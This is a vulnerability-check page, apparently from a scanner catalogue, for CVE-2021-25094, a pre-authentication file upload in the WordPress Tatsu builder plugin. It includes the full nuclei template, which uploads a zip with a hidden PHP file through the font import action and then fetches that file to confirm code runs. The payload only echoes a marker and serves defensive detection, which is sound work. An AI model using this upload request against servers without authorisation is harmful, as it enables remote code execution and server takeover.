Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution

highseverity

8.1CVSS score

83.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.

Impact

Unauthenticated attackers can upload malicious PHP files via the font import feature, achieving remote code execution and complete server compromise.

Fix

Fixed in 3.3.12

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"name\":\"{{to_lower(filename)}}\"" and "\"status\":\"success"
Send: GET /wp-content/uploads/typehub/custom/{{to_lower(filename)}}/.{{filename}}.php
Positive when: contains "{{marker}}"

Run it with nuclei: nuclei -id CVE-2021-25094 -u <target>

The full check

id: CVE-2021-25094

info:
  name: Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.
  impact: |
    Unauthenticated attackers can upload malicious PHP files via the font import feature, achieving remote code execution and complete server compromise.
  remediation: Fixed in 3.3.12
  reference:
    - https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
    - https://wpscan.com/vulnerability/fb0097a0-5d7b-4e5b-97de-aacafa8fffcd/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2021-25094
    cwe-id: CWE-306
    epss-score: 0.83232
    epss-percentile: 0.99682
    cpe: cpe:2.3:a:brandexponents:tatsu:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    publicwww-query: "/wp-content/plugins/tatsu/"
  tags: cve,cve2021,wp,wp-plugin,wordpress,tatsu,rce,vkev,vuln

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=a8bfdd88f26f754c25496d0dd4962d38

        --a8bfdd88f26f754c25496d0dd4962d38
        Content-Disposition: form-data; name="action"

        add_custom_font
        --a8bfdd88f26f754c25496d0dd4962d38
        Content-Disposition: form-data; name="file"; filename="{{filename}}.zip"

        {{zip('.{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        --a8bfdd88f26f754c25496d0dd4962d38--

    matchers:
      - type: word
        part: body
        words:
          - '"name":"{{to_lower(filename)}}"'
          - '"status":"success'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/typehub/custom/{{to_lower(filename)}}/.{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'

References

Use this check only on systems you are authorised to test. Where the data comes from